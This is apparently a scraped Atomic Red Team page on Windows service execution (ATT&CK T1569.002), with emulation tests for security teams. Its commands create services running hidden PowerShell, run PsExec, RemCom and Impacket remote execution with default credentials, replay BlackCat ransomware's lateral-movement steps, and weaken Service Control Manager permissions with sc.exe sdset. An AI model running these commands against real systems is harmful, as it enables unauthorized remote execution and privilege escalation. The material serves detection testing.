Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such assc.exeand [Net](https://attack.mitre.org/software/S0039). [PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) andsc.execan accept remote servers as arguments and may be used to conduct remote execution. Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.
Atomic Test #2 - Use PsExec to execute a command on a remote host
Atomic Test #4 - BlackCat pre-encryption cmds with Lateral Movement
Atomic Test #5 - Use RemCom to execute a command on a remote host
Atomic Test #7 - Modifying ACL of Service Control Manager via SDET
Atomic Test #8 - Pipe Creation - PsExec Tool Execution From Suspicious Locations
Creates a service specifying an arbitrary command and executes it. When executing commands such as PowerShell, the service will report that it did not start correctly even when code executes properly.
Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file 1
art-marker.txt
BlackCat Ransomware (ALPHV)
Cybereason vs. BlackCat Ransomware
Supported Platforms: Windows
auto_generated_guid: 2382dee2-a75f-49aa-9378-f52df6ed3fb1
| Name | Description | Type | Default Value | |——|————-|——|—————| | service_name | Name of service to create | string | ARTService| | executable_command | Command to execute as a service | string | %COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType File C:\art-marker.txt|
1
command_prompt
sc.exe create #{service_name} binPath= "#{executable_command}"
sc.exe start #{service_name}
sc.exe delete #{service_name}
del C:\art-marker.txt >nul 2>&1
Requires having Sysinternals installed, path to sysinternals is one of the input input_arguments Will start a process on a remote host.
Upon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).
Supported Platforms: Windows
auto_generated_guid: 873106b7-cfed-454b-8680-fa9f6400431c
| Name | Description | Type | Default Value | |——|————-|——|—————| | remote_host | Remote hostname or IP address | string | localhost| | user_name | Username | string | DOMAIN\Administrator| | password | Password | string | P@ssw0rd1|
1
command_prompt
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{remote_host} -u #{user_name} -p #{password} -accepteula "C:\Windows\System32\calc.exe"
1
powershell
1
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0} else { exit 1}
1
2
3
4
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
Will execute a command on the remote host with Impacket psexec.py script.
Supported Platforms: Linux
auto_generated_guid: edbcd8c9-3639-4844-afad-455c91e95a35
| Name | Description | Type | Default Value | |——|————-|——|—————| | remote_host | Remote hostname or IP address | string | 127.0.0.1| | username | Username | string | Administrator| | domain | Target domain | string | | | password | Password | string | P@ssw0rd1| | command | Command to execute in target computer | string | whoami|
1
bash
1
psexec.py '#{domain}/#{username}:#{password}@#{remote_host}' '#{command}'
1
bash
1
if [ -x "$(command -v psexec.py)" ]; then exit 0; else exit 1; fi;
1
sudo pip3 install impacket
This atomic attempts to emulate the unique behavior of BlackCat ransomware prior to encryption and during Lateral Movement attempts via PsExec on Windows. Uses bundled PsExec like BlackCat
Supported Platforms: Windows
auto_generated_guid: 31eb7828-97d7-4067-9c1e-c6feb85edc4b
| Name | Description | Type | Default Value | |——|————-|——|—————| | targethost | Target hostname to attempt psexec connection to for emulation of lateral movement. | string | $ENV:COMPUTERNAME|
1
powershell
1
2
3
4
5
6
cmd.exe /c "wmic csproduct get UUID"
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2L:1"
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2R:1"
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f
copy "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" $env:temp
cmd.exe /c "$env:temp\psexec.exe -accepteula \\#{targethost} cmd.exe /c echo "--access-token""
1
2
3
4
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /f
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2L:0"
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2R:0"
rm $env:temp\psexec.exe
1
powershell
1
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") {exit 0} else {exit 1}
1
2
3
4
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
Requires having RemCom installed, path to RemCom is one of the input input_arguments Will start a process on a remote host. Upon successful execution, cmd will utilize RemCom.exe to spawn calc.exe on a remote endpoint (default:localhost).
Supported Platforms: Windows
auto_generated_guid: a5d8cdeb-be90-43a9-8b26-cc618deac1e0
| Name | Description | Type | Default Value | |——|————-|——|—————| | remote_host | Remote hostname or IP address | string | localhost| | user_name | Username | string | Administrator| | password | Password | string | P@ssw0rd1|
1
command_prompt
"PathToAtomicsFolder\..\ExternalPayloads\remcom.exe" \\#{remote_host} /user:#{user_name} /pwd:#{password} cmd.exe
1
powershell
1
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\remcom.exe") { exit 0} else { exit 1}
1
2
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/kavika13/RemCom/raw/master/bin/Release/RemCom.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\remcom.exe"
The following Atomic Test will create a new service named WerFaultSvc with a binary path of WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe. This was recently seen in the Snake Malware report. Upon execution, sc.exe will create a new service named WerFaultSvc with a bin path \WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe and a display name of WerFault Service. Snake Malware - CISA
Supported Platforms: Windows
auto_generated_guid: b8db787e-dbea-493c-96cb-9272296ddc49
1
command_prompt
sc.exe create "WerFaultSvc" binPath= "$env:windir\WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe" DisplayName= "WerFault Service" start= auto
sc.exe delete "WerFaultSvc"
Modify permissions of Service Control Manager via SDSET. This allows any administrative user to escalate privilege and create a service with SYSTEM level privileges.Restart is required. Blog
Supported Platforms: Windows
auto_generated_guid: bf07f520-3909-4ef5-aa22-877a50f2f77b
1
command_prompt
sc.exe sdset scmanager D:(A;;KA;;;WD)
Requires PsExec tool installed. BlackCat Ransomeware tried to propagate by creating pipe using PsExec process executing from suspicious locations (In the particular case the legitimate PsExec executable is embedded within the Windows variant and is dropped in the victim’s %TEMP% directory). pon successful execution, PsExec will be executed from suspicious location and create a new pipe to execute CMD.
Supported Platforms: Windows
auto_generated_guid: 004a5d68-627b-452d-af3d-43bd1fc75a3b
1
powershell
1
2
cd C:\Users\Public\Temp\
.\PsExec.exe -i -s cmd -accepteula
1
powershell
1
if (Get-ChildItem -Path C:\ -Include *psexec* -File -Recurse -ErrorAction SilentlyContinue) {exit 0} else {exit 1}
1
2
3
New-Item -Type Directory "C:\Users\Public\Temp\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "C:\Users\Public\Temp\PSTools.zip"
Expand-Archive "C:\Users\Public\Temp\PsTools.zip" "C:\Users\Public\Temp\" -Force